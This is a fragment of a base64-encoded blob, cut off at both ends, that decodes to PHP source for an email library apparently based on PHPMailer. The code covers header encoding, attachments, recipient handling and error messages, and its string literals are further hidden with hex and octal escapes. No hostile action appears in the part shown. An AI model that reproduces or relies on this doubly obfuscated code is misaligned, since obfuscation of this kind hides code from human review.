oKSk7IHJldHVybiAnJzsgfSB9IHB1YmxpYyBmdW5jdGlvbiBlbmNvZGVTdHJpbmcoJHN0ciwgJGVuY29kaW5nID0gc2VsZjo6RU5DT0RJTkdfQkFTRTY0KSB7ICRlbmNvZGVkID0gJyc7IHN3aXRjaCAoc3RydG9sb3dlcigkZW5jb2RpbmcpKSB7IGNhc2Ugc3RhdGljOjpFTkNPRElOR19CQVNFNjQ6ICRlbmNvZGVkID0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZSgkc3RyKSwgc3RhdGljOjpTVERfTElORV9MRU5HVEgsIHN0YXRpYzo6JExFKTsgYnJlYWs7IGNhc2Ugc3RhdGljOjpFTkNPRElOR183QklUOiBjYXNlIHN0YXRpYzo6RU5DT0RJTkdfOEJJVDogJGVuY29kZWQgPSBzdGF0aWM6Om5vcm1hbGl6ZUJyZWFrcygkc3RyKTsgaWYgKHN1YnN0cigkZW5jb2RlZCwgLXN0cmxlbihzdGF0aWM6OiRMRSkpICE9IHN0YXRpYzo6JExFKSB7ICRlbmNvZGVkIC49IHN0YXRpYzo6JExFOyB9IGJyZWFrOyBjYXNlIHN0YXRpYzo6RU5DT0RJTkdfQklOQVJZOiAkZW5jb2RlZCA9ICRzdHI7IGJyZWFrOyBjYXNlIHN0YXRpYzo6RU5DT0RJTkdfUVVPVEVEX1BSSU5UQUJMRTogJGVuY29kZWQgPSAkdGhpcy0+ZW5jb2RlUVAoJHN0cik7IGJyZWFrOyBkZWZhdWx0OiAkdGhpcy0+c2V0RXJyb3IoJHRoaXMtPmxhbmcoIlx4NjVcMTU2XDE0M1x4NmZceDY0XHg2OVwxNTZceDY3IikgLiAkZW5jb2RpbmcpOyBicmVhazsgfSByZXR1cm4gJGVuY29kZWQ7IH0gcHVibGljIGZ1bmN0aW9uIGVuY29kZUhlYWRlcigkc3RyLCAkcG9zaXRpb24gPSAiXDE2NFwxNDVcMTcwXDE2NCIpIHsgJG1hdGNoY291bnQgPSAwOyBzd2l0Y2ggKHN0cnRvbG93ZXIoJHBvc2l0aW9uKSkgeyBjYXNlICJceDcwXHg2OFx4NzJcMTQxXHg3M1x4NjUiOiBpZiAoIXByZWdfbWF0Y2goIlx4MmZceDViXHg1Y1w2Mlx4MzBceDMwXDU1XHg1Y1w2M1x4MzdceDM3XDEzNVw1NyIsICRzdHIpKSB7ICRlbmNvZGVkID0gYWRkY3NsYXNoZXMoJHN0ciwgIlwwXDU2XHgyZVwzN1wxNzdcMTM0XHgyMiIpOyBpZiAoJHN0ciA9PSAkZW5jb2RlZCBhbmQgIXByZWdfbWF0Y2goIlw1N1x4NWJcMTM2XHg0MVw1NVwxMzJcMTQxXHgyZFx4N2FceDMwXHgyZFx4MzlceDIxXDQzXDQ0XDQ1XHgyNlx4MjdcNTJcNTNceDVjXHgyZlx4M2RcNzdceDVlXHg1Zlx4NjBcMTczXDE3NFx4N2RcMTc2XHgyMFw1NVwxMzVcNTciLCAkc3RyKSkgeyByZXR1cm4gJGVuY29kZWQ7IH0gcmV0dXJuICJceDIyeyRlbmNvZGVkfVw0MiI7IH0gJG1hdGNoY291bnQgPSBwcmVnX21hdGNoX2FsbCgiXHgyZlx4NWJceDVlXHg1Y1w2MFx4MzRceDMwXDEzNFw2MFw2NFx4MzFceDVjXHgzMFx4MzRceDMzXHgyZFwxMzRceDMxXHgzM1w2M1x4NWNceDMxXHgzM1w2NVx4MmRcMTM0XHgzMVw2N1x4MzZcMTM1XDU3IiwgJHN0ciwgJG1hdGNoZXMpOyBicmVhazsgY2FzZSAiXDE0M1wxNTdcMTU1XHg2ZFwxNDVceDZlXDE2NCI6ICRtYXRjaGNvdW50ID0gcHJlZ19tYXRjaF9hbGwoIlw1N1x4NWJcNTBceDI5XHgyMlx4NWRcNTciLCAkc3RyLCAkbWF0Y2hlcyk7IGNhc2UgIlwxNjRcMTQ1XDE3MFx4NzQiOiBkZWZhdWx0OiAkbWF0Y2hjb3VudCArPSBwcmVnX21hdGNoX2FsbCgiXDU3XHg1YlwxMzRcNjBceDMwXHgzMFw1NVwxMzRcNjBcNjFcNjBceDVjXDYwXDYxXHgzM1wxMzRcNjBcNjFceDM0XHg1Y1w2MFx4MzFceDM2XHgyZFwxMzRceDMwXHgzM1x4MzdceDVjXDYxXDY3XDY3XHgyZFwxMzRcNjNceDM3XHgzN1wxMzVceDJmIiwgJHN0ciwgJG1hdGNoZXMpOyBicmVhazsgfSAkbGVuZ3Roc3ViID0gIlx4NmRcMTQxXDE1MVx4NmMiID09ICR0aGlzLT5NYWlsZXIgPyAxMyA6IDA7ICRtYXhsZW4gPSBzdGF0aWM6OlNURF9MSU5FX0xFTkdUSCAtICRsZW5ndGhzdWI7IGlmICgkbWF0Y2hjb3VudCA+IHN0cmxlbigkc3RyKSAvIDMpIHsgJGVuY29kaW5nID0gIlwxMDIiOyAkbWF4bGVuID0gc3RhdGljOjpTVERfTElORV9MRU5HVEggLSAkbGVuZ3Roc3ViIC0gOCAtIHN0cmxlbigkdGhpcy0+Q2hhclNldCk7IGlmICgkdGhpcy0+aGFzTXVsdGlCeXRlcygkc3RyKSkgeyAkZW5jb2RlZCA9ICR0aGlzLT5iYXNlNjRFbmNvZGVXcmFwTUIoJHN0ciwgIlx4YSIpOyB9IGVsc2UgeyAkZW5jb2RlZCA9IGJhc2U2NF9lbmNvZGUoJHN0cik7ICRtYXhsZW4gLT0gJG1heGxlbiAlIDQ7ICRlbmNvZGVkID0gdHJpbShjaHVua19zcGxpdCgkZW5jb2RlZCwgJG1heGxlbiwgIlx4YSIpKTsgfSAkZW5jb2RlZCA9IHByZWdfcmVwbGFjZSgiXHgyZlx4NWVceDI4XHgyZVw1Mlw1MVx4MjRcNTdcMTU1IiwgIlw0MFx4M2RcNzciIC4gJHRoaXMtPkNoYXJTZXQgLiAiXDc3eyRlbmNvZGluZ31ceDNmXHg1Y1w2MVw3N1w3NSIsICRlbmNvZGVkKTsgfSBlbHNlaWYgKCRtYXRjaGNvdW50ID4gMCkgeyAkZW5jb2RpbmcgPSAiXHg1MSI7ICRtYXhsZW4gPSBzdGF0aWM6OlNURF9MSU5FX0xFTkdUSCAtICRsZW5ndGhzdWIgLSA4IC0gc3RybGVuKCR0aGlzLT5DaGFyU2V0KTsgJGVuY29kZWQgPSAkdGhpcy0+ZW5jb2RlUSgkc3RyLCAkcG9zaXRpb24pOyAkZW5jb2RlZCA9ICR0aGlzLT53cmFwVGV4dCgkZW5jb2RlZCwgJG1heGxlbiwgdHJ1ZSk7ICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoIlw3NSIgLiBzdGF0aWM6OiRMRSwgIlx4YSIsIHRyaW0oJGVuY29kZWQpKTsgJGVuY29kZWQgPSBwcmVnX3JlcGxhY2UoIlx4MmZceDVlXHgyOFx4MmVcNTJcNTFceDI0XDU3XHg2ZCIsICJcNDBceDNkXHgzZiIgLiAkdGhpcy0+Q2hhclNldCAuICJcNzd7JGVuY29kaW5nfVx4M2ZceDVjXHgzMVw3N1x4M2QiLCAkZW5jb2RlZCk7IH0gZWxzZWlmIChzdHJsZW4oJHN0cikgPiAkbWF4bGVuKSB7ICRlbmNvZGVkID0gdHJpbSgkdGhpcy0+d3JhcFRleHQoJHN0ciwgJG1heGxlbiwgZmFsc2UpKTsgaWYgKCRzdHIgPT0gJGVuY29kZWQpIHsgJGVuY29kZWQgPSB0cmltKGNodW5rX3NwbGl0KCRzdHIsIHN0YXRpYzo6U1REX0xJTkVfTEVOR1RILCBzdGF0aWM6OiRMRSkpOyB9ICRlbmNvZGVkID0gc3RyX3JlcGxhY2Uoc3RhdGljOjokTEUsICJceGEiLCB0cmltKCRlbmNvZGVkKSk7ICRlbmNvZGVkID0gcHJlZ19yZXBsYWNlKCJcNTdceDVlXDUwXHgyZVx4MmFceDI5XHgyNFx4MmZceDZkIiwgIlw0MFx4NWNceDMxIiwgJGVuY29kZWQpOyB9IGVsc2UgeyByZXR1cm4gJHN0cjsgfSByZXR1cm4gdHJpbShzdGF0aWM6Om5vcm1hbGl6ZUJyZWFrcygkZW5jb2RlZCkpOyB9IHB1YmxpYyBmdW5jdGlvbiBoYXNNdWx0aUJ5dGVzKCRzdHIpIHsgaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg2ZFx4NjJcMTM3XDE2M1x4NzRceDcyXDE1NFwxNDVcMTU2IikpIHsgcmV0dXJuIHN0cmxlbigkc3RyKSA+IG1iX3N0cmxlbigkc3RyLCAkdGhpcy0+Q2hhclNldCk7IH0gcmV0dXJuIGZhbHNlOyB9IHB1YmxpYyBmdW5jdGlvbiBoYXM4Yml0Q2hhcnMoJHRleHQpIHsgcmV0dXJuIChib29sKSBwcmVnX21hdGNoKCJceDJmXDEzM1wxMzRcMTcwXDcwXDYwXHgyZFx4NWNceDc4XDEwNlx4NDZceDVkXHgyZiIsICR0ZXh0KTsgfSBwdWJsaWMgZnVuY3Rpb24gYmFzZTY0RW5jb2RlV3JhcE1CKCRzdHIsICRsaW5lYnJlYWsgPSBudWxsKSB7ICRzdGFydCA9ICJcNzVcNzciIC4gJHRoaXMtPkNoYXJTZXQgLiAiXHgzZlx4NDJceDNmIjsgJGVuZCA9ICJcNzdceDNkIjsgJGVuY29kZWQgPSAnJzsgaWYgKG51bGwgPT09ICRsaW5lYnJlYWspIHsgJGxpbmVicmVhayA9IHN0YXRpYzo6JExFOyB9ICRtYl9sZW5ndGggPSBtYl9zdHJsZW4oJHN0ciwgJHRoaXMtPkNoYXJTZXQpOyAkbGVuZ3RoID0gNzUgLSBzdHJsZW4oJHN0YXJ0KSAtIHN0cmxlbigkZW5kKTsgJHJhdGlvID0gJG1iX2xlbmd0aCAvIHN0cmxlbigkc3RyKTsgJGF2Z0xlbmd0aCA9IGZsb29yKCRsZW5ndGggKiAkcmF0aW8gKiAwLjc1KTsgZm9yICgkaSA9IDA7ICRpIDwgJG1iX2xlbmd0aDsgJGkgKz0gJG9mZnNldCkgeyAkbG9va0JhY2sgPSAwOyBkbyB7ICRvZmZzZXQgPSAkYXZnTGVuZ3RoIC0gJGxvb2tCYWNrOyAkY2h1bmsgPSBtYl9zdWJzdHIoJHN0ciwgJGksICRvZmZzZXQsICR0aGlzLT5DaGFyU2V0KTsgJGNodW5rID0gYmFzZTY0X2VuY29kZSgkY2h1bmspOyArKyRsb29rQmFjazsgfSB3aGlsZSAoc3RybGVuKCRjaHVuaykgPiAkbGVuZ3RoKTsgJGVuY29kZWQgLj0gJGNodW5rIC4gJGxpbmVicmVhazsgfSByZXR1cm4gc3Vic3RyKCRlbmNvZGVkLCAwLCAtc3RybGVuKCRsaW5lYnJlYWspKTsgfSBwdWJsaWMgZnVuY3Rpb24gZW5jb2RlUVAoJHN0cmluZykgeyByZXR1cm4gc3RhdGljOjpub3JtYWxpemVCcmVha3MocXVvdGVkX3ByaW50YWJsZV9lbmNvZGUoJHN0cmluZykpOyB9IHB1YmxpYyBmdW5jdGlvbiBlbmNvZGVRKCRzdHIsICRwb3NpdGlvbiA9ICJceDc0XHg2NVx4NzhceDc0IikgeyAkcGF0dGVybiA9ICcnOyAkZW5jb2RlZCA9IHN0cl9yZXBsYWNlKGFycmF5KCJceGQiLCAiXDEyIiksICcnLCAkc3RyKTsgc3dpdGNoIChzdHJ0b2xvd2VyKCRwb3NpdGlvbikpIHsgY2FzZSAiXDE2MFx4NjhcMTYyXDE0MVwxNjNcMTQ1IjogJHBhdHRlcm4gPSAiXHg1ZVx4NDFceDJkXHg1YVwxNDFcNTVcMTcyXHgzMFw1NVx4MzlcNDFcNTJceDJiXHg1Y1x4MmZcNDBcNTUiOyBicmVhazsgY2FzZSAiXDE0M1x4NmZcMTU1XHg2ZFwxNDVcMTU2XDE2NCI6ICRwYXR0ZXJuID0gIlwxMzRcNTBceDVjXHgyOVw0MiI7IGNhc2UgIlwxNjRcMTQ1XDE3MFwxNjQiOiBkZWZhdWx0OiAkcGF0dGVybiA9ICJceDVjXDYwXDYwXDYwXDU1XDEzNFw2MFw2MVx4MzFcMTM0XHgzMFx4MzFcNjNceDVjXDYwXDYxXHgzNFwxMzRcNjBcNjFcNjZcNTVceDVjXHgzMFx4MzNceDM3XHg1Y1x4MzBceDM3XDY1XHg1Y1w2MFx4MzdcNjdceDVjXHgzMVw2M1x4MzdcMTM0XHgzMVx4MzdcNjdcNTVceDVjXDYzXDY3XDY3IiAuICRwYXR0ZXJuOyBicmVhazsgfSAkbWF0Y2hlcyA9IGFycmF5KCk7IGlmIChwcmVnX21hdGNoX2FsbCgiXHgyZlx4NWJ7JHBhdHRlcm59XHg1ZFw1NyIsICRlbmNvZGVkLCAkbWF0Y2hlcykpIHsgJGVxa2V5ID0gYXJyYXlfc2VhcmNoKCJcNzUiLCAkbWF0Y2hlc1swXSk7IGlmIChmYWxzZSAhPT0gJGVxa2V5KSB7IHVuc2V0KCRtYXRjaGVzWzBdWyRlcWtleV0pOyBhcnJheV91bnNoaWZ0KCRtYXRjaGVzWzBdLCAiXDc1Iik7IH0gZm9yZWFjaCAoYXJyYXlfdW5pcXVlKCRtYXRjaGVzWzBdKSBhcyAkY2hhcikgeyAkZW5jb2RlZCA9IHN0cl9yZXBsYWNlKCRjaGFyLCAiXDc1IiAuIHNwcmludGYoIlw0NVw2MFx4MzJceDU4Iiwgb3JkKCRjaGFyKSksICRlbmNvZGVkKTsgfSB9IHJldHVybiBzdHJfcmVwbGFjZSgiXDQwIiwgIlwxMzciLCAkZW5jb2RlZCk7IH0gcHVibGljIGZ1bmN0aW9uIGFkZFN0cmluZ0F0dGFjaG1lbnQoJHN0cmluZywgJGZpbGVuYW1lLCAkZW5jb2RpbmcgPSBzZWxmOjpFTkNPRElOR19CQVNFNjQsICR0eXBlID0gJycsICRkaXNwb3NpdGlvbiA9ICJceDYxXDE2NFx4NzRceDYxXDE0M1x4NjhceDZkXDE0NVx4NmVceDc0IikgeyBpZiAoJycgPT0gJHR5cGUpIHsgJHR5cGUgPSBzdGF0aWM6OmZpbGVuYW1lVG9UeXBlKCRmaWxlbmFtZSk7IH0gJHRoaXMtPmF0dGFjaG1lbnRbXSA9IGFycmF5KDAgPT4gJHN0cmluZywgMSA9PiAkZmlsZW5hbWUsIDIgPT4gYmFzZW5hbWUoJGZpbGVuYW1lKSwgMyA9PiAkZW5jb2RpbmcsIDQgPT4gJHR5cGUsIDUgPT4gdHJ1ZSwgNiA9PiAkZGlzcG9zaXRpb24sIDcgPT4gMCk7IH0gcHVibGljIGZ1bmN0aW9uIGFkZEVtYmVkZGVkSW1hZ2UoJHBhdGgsICRjaWQsICRuYW1lID0gJycsICRlbmNvZGluZyA9IHNlbGY6OkVOQ09ESU5HX0JBU0U2NCwgJHR5cGUgPSAnJywgJGRpc3Bvc2l0aW9uID0gIlwxNTFcMTU2XHg2Y1x4NjlcMTU2XHg2NSIpIHsgaWYgKCFzdGF0aWM6OmlzUGVybWl0dGVkUGF0aCgkcGF0aCkgfHwgIUBpc19maWxlKCRwYXRoKSkgeyAkdGhpcy0+c2V0RXJyb3IoJHRoaXMtPmxhbmcoIlx4NjZcMTUxXHg2Y1x4NjVceDVmXHg2MVx4NjNceDYzXDE0NVx4NzNceDczIikgLiAkcGF0aCk7IHJldHVybiBmYWxzZTsgfSBpZiAoJycgPT0gJHR5cGUpIHsgJHR5cGUgPSBzdGF0aWM6OmZpbGVuYW1lVG9UeXBlKCRwYXRoKTsgfSAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkcGF0aCk7IGlmICgnJyA9PSAkbmFtZSkgeyAkbmFtZSA9ICRmaWxlbmFtZTsgfSAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoMCA9PiAkcGF0aCwgMSA9PiAkZmlsZW5hbWUsIDIgPT4gJG5hbWUsIDMgPT4gJGVuY29kaW5nLCA0ID0+ICR0eXBlLCA1ID0+IGZhbHNlLCA2ID0+ICRkaXNwb3NpdGlvbiwgNyA9PiAkY2lkKTsgcmV0dXJuIHRydWU7IH0gcHVibGljIGZ1bmN0aW9uIGFkZFN0cmluZ0VtYmVkZGVkSW1hZ2UoJHN0cmluZywgJGNpZCwgJG5hbWUgPSAnJywgJGVuY29kaW5nID0gc2VsZjo6RU5DT0RJTkdfQkFTRTY0LCAkdHlwZSA9ICcnLCAkZGlzcG9zaXRpb24gPSAiXHg2OVwxNTZcMTU0XDE1MVx4NmVceDY1IikgeyBpZiAoJycgPT0gJHR5cGUgYW5kICFlbXB0eSgkbmFtZSkpIHsgJHR5cGUgPSBzdGF0aWM6OmZpbGVuYW1lVG9UeXBlKCRuYW1lKTsgfSAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoMCA9PiAkc3RyaW5nLCAxID0+ICRuYW1lLCAyID0+ICRuYW1lLCAzID0+ICRlbmNvZGluZywgNCA9PiAkdHlwZSwgNSA9PiB0cnVlLCA2ID0+ICRkaXNwb3NpdGlvbiwgNyA9PiAkY2lkKTsgcmV0dXJuIHRydWU7IH0gcHJvdGVjdGVkIGZ1bmN0aW9uIGNpZEV4aXN0cygkY2lkKSB7IGZvcmVhY2ggKCR0aGlzLT5hdHRhY2htZW50IGFzICRhdHRhY2htZW50KSB7IGlmICgiXHg2OVx4NmVcMTU0XDE1MVx4NmVcMTQ1IiA9PSAkYXR0YWNobWVudFs2XSBhbmQgJGNpZCA9PSAkYXR0YWNobWVudFs3XSkgeyByZXR1cm4gdHJ1ZTsgfSB9IHJldHVybiBmYWxzZTsgfSBwdWJsaWMgZnVuY3Rpb24gaW5saW5lSW1hZ2VFeGlzdHMoKSB7IGZvcmVhY2ggKCR0aGlzLT5hdHRhY2htZW50IGFzICRhdHRhY2htZW50KSB7IGlmICgiXHg2OVwxNTZceDZjXDE1MVx4NmVceDY1IiA9PSAkYXR0YWNobWVudFs2XSkgeyByZXR1cm4gdHJ1ZTsgfSB9IHJldHVybiBmYWxzZTsgfSBwdWJsaWMgZnVuY3Rpb24gYXR0YWNobWVudEV4aXN0cygpIHsgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsgaWYgKCJcMTQxXHg3NFwxNjRceDYxXDE0M1x4NjhceDZkXHg2NVx4NmVceDc0IiA9PSAkYXR0YWNobWVudFs2XSkgeyByZXR1cm4gdHJ1ZTsgfSB9IHJldHVybiBmYWxzZTsgfSBwdWJsaWMgZnVuY3Rpb24gYWx0ZXJuYXRpdmVFeGlzdHMoKSB7IHJldHVybiAhZW1wdHkoJHRoaXMtPkFsdEJvZHkpOyB9IHB1YmxpYyBmdW5jdGlvbiBjbGVhclF1ZXVlZEFkZHJlc3Nlcygka2luZCkgeyAkdGhpcy0+UmVjaXBpZW50c1F1ZXVlID0gYXJyYXlfZmlsdGVyKCR0aGlzLT5SZWNpcGllbnRzUXVldWUsIGZ1bmN0aW9uICgkcGFyYW1zKSB1c2UoJGtpbmQpIHsgcmV0dXJuICRwYXJhbXNbMF0gIT0gJGtpbmQ7IH0pOyB9IHB1YmxpYyBmdW5jdGlvbiBjbGVhckFkZHJlc3NlcygpIHsgZm9yZWFjaCAoJHRoaXMtPnRvIGFzICR0bykgeyB1bnNldCgkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkdG9bMF0pXSk7IH0gJHRoaXMtPnRvID0gYXJyYXkoKTsgJHRoaXMtPmNsZWFyUXVldWVkQWRkcmVzc2VzKCJceDc0XHg2ZiIpOyB9IHB1YmxpYyBmdW5jdGlvbiBjbGVhckNDcygpIHsgZm9yZWFjaCAoJHRoaXMtPmNjIGFzICRjYykgeyB1bnNldCgkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkY2NbMF0pXSk7IH0gJHRoaXMtPmNjID0gYXJyYXkoKTsgJHRoaXMtPmNsZWFyUXVldWVkQWRkcmVzc2VzKCJcMTQzXDE0MyIpOyB9IHB1YmxpYyBmdW5jdGlvbiBjbGVhckJDQ3MoKSB7IGZvcmVhY2ggKCR0aGlzLT5iY2MgYXMgJGJjYykgeyB1bnNldCgkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkYmNjWzBdKV0pOyB9ICR0aGlzLT5iY2MgPSBhcnJheSgpOyAkdGhpcy0+Y2xlYXJRdWV1ZWRBZGRyZXNzZXMoIlx4NjJceDYzXDE0MyIpOyB9IHB1YmxpYyBmdW5jdGlvbiBjbGVhclJlcGx5VG9zKCkgeyAkdGhpcy0+UmVwbHlUbyA9IGFycmF5KCk7ICR0aGlzLT5SZXBseVRvUXVldWUgPSBhcnJheSgpOyB9IHB1YmxpYyBmdW5jdGlvbiBjbGVhckFsbFJlY2lwaWVudHMoKSB7ICR0aGlzLT50byA9IGFycmF5KCk7ICR0aGlzLT5jYyA9IGFycmF5KCk7ICR0aGlzLT5iY2MgPSBhcnJheSgpOyAkdGhpcy0+YWxsX3JlY2lwaWVudHMgPSBhcnJheSgpOyAkdGhpcy0+UmVjaXBpZW50c1F1ZXVlID0gYXJyYXkoKTsgfSBwdWJsaWMgZnVuY3Rpb24gY2xlYXJBdHRhY2htZW50cygpIHsgJHRoaXMtPmF0dGFjaG1lbnQgPSBhcnJheSgpOyB9IHB1YmxpYyBmdW5jdGlvbiBjbGVhckN1c3RvbUhlYWRlcnMoKSB7ICR0aGlzLT5DdXN0b21IZWFkZXIgPSBhcnJheSgpOyB9IHByb3RlY3RlZCBmdW5jdGlvbiBzZXRFcnJvcigkbXNnKSB7ICsrJHRoaXMtPmVycm9yX2NvdW50OyBpZiAoIlwxNjNceDZkXHg3NFx4NzAiID09ICR0aGlzLT5NYWlsZXIgYW5kIG51bGwgIT09ICR0aGlzLT5zbXRwKSB7ICRsYXN0ZXJyb3IgPSAkdGhpcy0+c210cC0+Z2V0RXJyb3IoKTsgaWYgKCFlbXB0eSgkbGFzdGVycm9yWyJcMTQ1XDE2Mlx4NzJceDZmXHg3MiJdKSkgeyAkbXNnIC49ICR0aGlzLT5sYW5nKCJceDczXDE1NVwxNjRcMTYwXHg1Zlx4NjVcMTYyXDE2Mlx4NmZcMTYyIikgLiAkbGFzdGVycm9yWyJcMTQ1XHg3Mlx4NzJceDZmXHg3MiJdOyBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbIlx4NjRcMTQ1XHg3NFwxNDFcMTUxXHg2YyJdKSkgeyAkbXNnIC49ICJceDIwXDEwNFx4NjVceDc0XHg2MVwxNTFceDZjXHgzYVx4MjAiIC4gJGxhc3RlcnJvclsiXDE0NFx4NjVceDc0XHg2MVx4NjlceDZjIl07IH0gaWYgKCFlbXB0eSgkbGFzdGVycm9yWyJcMTYzXHg2ZFx4NzRceDcwXHg1Zlx4NjNceDZmXDE0NFx4NjUiXSkpIHsgJG1zZyAuPSAiXDQwXDEyM1wxMTVceDU0XHg1MFw0MFwxNDNceDZmXDE0NFx4NjVceDNhXHgyMCIgLiAkbGFzdGVycm9yWyJcMTYzXHg2ZFwxNjRcMTYwXDEzN1x4NjNceDZmXHg2NFx4NjUiXTsgfSBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbIlx4NzNceDZkXHg3NFwxNjBcMTM3XDE0M1x4NmZceDY0XHg2NVx4NWZceDY1XHg3OCJdKSkgeyAkbXNnIC49ICJcNDBceDQxXDE0NFx4NjRcMTUxXHg3NFx4NjlceDZmXHg2ZVwxNDFcMTU0XDQwXHg1M1wxMTVcMTI0XDEyMFx4MjBcMTUxXHg2ZVwxNDZceDZmXHgzYVw0MCIgLiAkbGFzdGVycm9yWyJcMTYzXHg2ZFx4NzRceDcwXHg1ZlwxNDNceDZmXDE0NFwxNDVcMTM3XHg2NVwxNzAiXTsgfSB9IH0gJHRoaXMtPkVycm9ySW5mbyA9ICRtc2c7IH0gcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZmNEYXRlKCkgeyBkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KEBkYXRlX2RlZmF1bHRfdGltZXpvbmVfZ2V0KCkpOyByZXR1cm4gZGF0ZSgiXHg0NFw1NFx4MjBceDZhXHgyMFwxMTVceDIwXHg1OVw0MFwxMTBceDNhXHg2OVx4M2FcMTYzXHgyMFx4NGYiKTsgfSBwcm90ZWN0ZWQgZnVuY3Rpb24gc2VydmVySG9zdG5hbWUoKSB7ICRyZXN1bHQgPSAnJzsgaWYgKCFlbXB0eSgkdGhpcy0+SG9zdG5hbWUpKSB7ICRyZXN1bHQgPSAkdGhpcy0+SG9zdG5hbWU7IH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUikgYW5kIGFycmF5X2tleV9leGlzdHMoIlwxMjNceDQ1XHg1Mlx4NTZcMTA1XDEyMlwxMzdceDRlXHg0MVwxMTVceDQ1IiwgJF9TRVJWRVIpKSB7ICRyZXN1bHQgPSAkX1NFUlZFUlsiXDEyM1x4NDVceDUyXHg1NlwxMDVceDUyXDEzN1wxMTZcMTAxXHg0ZFwxMDUiXTsgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg2N1x4NjVceDc0XDE1MFx4NmZcMTYzXDE2NFwxNTZcMTQxXDE1NVwxNDUiKSBhbmQgZ2V0aG9zdG5hbWUoKSAhPT0gZmFsc2UpIHsgJHJlc3VsdCA9IGdldGhvc3RuYW1lKCk7IH0gZWxzZWlmIChwaHBfdW5hbWUoIlwxNTYiKSAhPT0gZmFsc2UpIHsgJHJlc3VsdCA9IHBocF91bmFtZSgiXDE1NiIpOyB9IGlmICghc3RhdGljOjppc1ZhbGlkSG9zdCgkcmVzdWx0KSkgeyByZXR1cm4gIlx4NmNceDZmXDE0M1x4NjFceDZjXDE1MFwxNTdceDczXHg3NFx4MmVcMTU0XHg2ZlwxNDNcMTQxXHg2Y1wxNDRceDZmXHg2ZFx4NjFcMTUxXDE1NiI7IH0gcmV0dXJuICRyZXN1bHQ7IH0gcHVibGljIHN0YXRpYyBmdW5jdGlvbiBpc1ZhbGlkSG9zdCgkaG9zdCkgeyBpZiAoZW1wdHkoJGhvc3QpIG9yICFpc19zdHJpbmcoJGhvc3QpIG9yIHN0cmxlbigkaG9zdCkgPiAyNTYpIHsgcmV0dXJuIGZhbHNlOyB9IGlmICh0cmltKCRob3N0LCAiXDEzM1x4NWQiKSAhPSAkaG9zdCkgeyByZXR1cm4gKGJvb2wpIGZpbHRlcl92YXIodHJpbSgkaG9zdCwgIlx4NWJceDVkIiksIEZJTFRFUl9WQUxJREFURV9JUCwgRklMVEVSX0ZMQUdfSVBWNik7IH0gaWYgKGlzX251bWVyaWMoc3RyX3JlcGxhY2UoIlx4MmUiLCAnJywgJGhvc3QpKSkgeyByZXR1cm4gKGJvb2wpIGZpbHRlcl92YXIoJGhvc3QsIEZJTFRFUl9WQUxJREFURV9JUCwgRklMVEVSX0ZMQUdfSVBWNCk7IH0gaWYgKGZpbHRlcl92YXIoIlx4NjhcMTY0XDE2NFx4NzBceDNhXDU3XHgyZiIgLiAkaG9zdCwgRklMVEVSX1ZBTElEQVRFX1VSTCkpIHsgcmV0dXJuIHRydWU7IH0gcmV0dXJuIGZhbHNlOyB9IHByb3RlY3RlZCBmdW5jdGlvbiBsYW5nKCRrZXkpIHsgaWYgKGNvdW50KCR0aGlzLT5sYW5ndWFnZSkgPCAxKSB7ICR0aGlzLT5zZXRMYW5ndWFnZSgiXHg2NVwxNTYiKTsgfSBpZiAoYXJyYXlfa2V5X2V4aXN0cygka2V5LCAkdGhpcy0+bGFuZ3VhZ2UpKSB7IGlmICgiXHg3M1wxNTVcMTY0XHg3MFx4NWZceDYzXDE1N1x4NmVceDZlXDE0NVx4NjNcMTY0XHg1ZlwxNDZceDYxXHg2OVwxNTRcMTQ1XHg2NCIgPT0gJGtleSkgeyByZXR1cm4gJHRoaXMtPmxhbmd1YWdlWyRrZXldOyB9IHJldHVybiAkdGhpcy0+bGFuZ3VhZ2VbJGtleV07IH0gcmV0dXJuICRrZXk7IH0gcHVibGljIGZ1bmN0aW9uIGlzRXJyb3IoKSB7IHJldHVybiAkdGhpcy0+ZXJyb3JfY291bnQgPiAwOyB9IHB1YmxpYyBmdW5jdGlvbiBhZGRDdXN0b21IZWFkZXIoJG5hbWUsICR2YWx1ZSA9IG51bGwpIHsgaWYgKG51bGwgPT09ICR2YWx1ZSkgeyAkdGhpcy0+Q3VzdG9tSGVhZGVyW10gPSBleHBsb2RlKCJceDNhIiwgJG5hbWUsIDIpOyB9IGVsc2UgeyAkdGhpcy0+Q3VzdG9tSGVhZGVyW10gPSBhcnJheSgkbmFtZSwgJHZhbHVlKTsgfSB9IHB1YmxpYyBmdW5jdGlvbiBnZXRDdXN0b21IZWFkZXJzKCkgeyByZXR1cm4gJHRoaXMtPkN1c3RvbUhlYWRlcjsgfSBwdWJsaWMgZnVuY3Rpb24gbXNnSFRNTCgkbWVzc2FnZSwgJGJhc2VkaXIgPSAnJywgJGFkdmFuY2VkID0gZmFsc2UpIHsgcHJlZ19tYXRjaF9hbGwoIlw1N1w1MFwxNjNcMTYyXDE0M1x4N2NceDYyXHg2MVx4NjNcMTUzXDE0N1wxNjJcMTU3XDE2NVx4NmVcMTQ0XDUxXHgzZFx4NWJceDIyXHgyN1wxMzVceDI4XDU2XHgyYVx4MjlceDViXDQyXHgyN1x4NWRcNTdceDU1XDE1MSIsICRtZXNzYWdlLCAkaW1hZ2VzKTsgaWYgKGFycmF5X2tleV9leGlzdHMoMiwgJGltYWdlcykpIHsgaWYgKHN0cmxlbigkYmFzZWRpcikgPiAxICYmICJceDJmIiAhPSBzdWJzdHIoJGJhc2VkaXIsIC0xKSkgeyAkYmFzZWRpciAuPSAiXDU3IjsgfSBmb3JlYWNoICgkaW1hZ2VzWzJdIGFzICRpbWdpbmRleCA9PiAkdXJ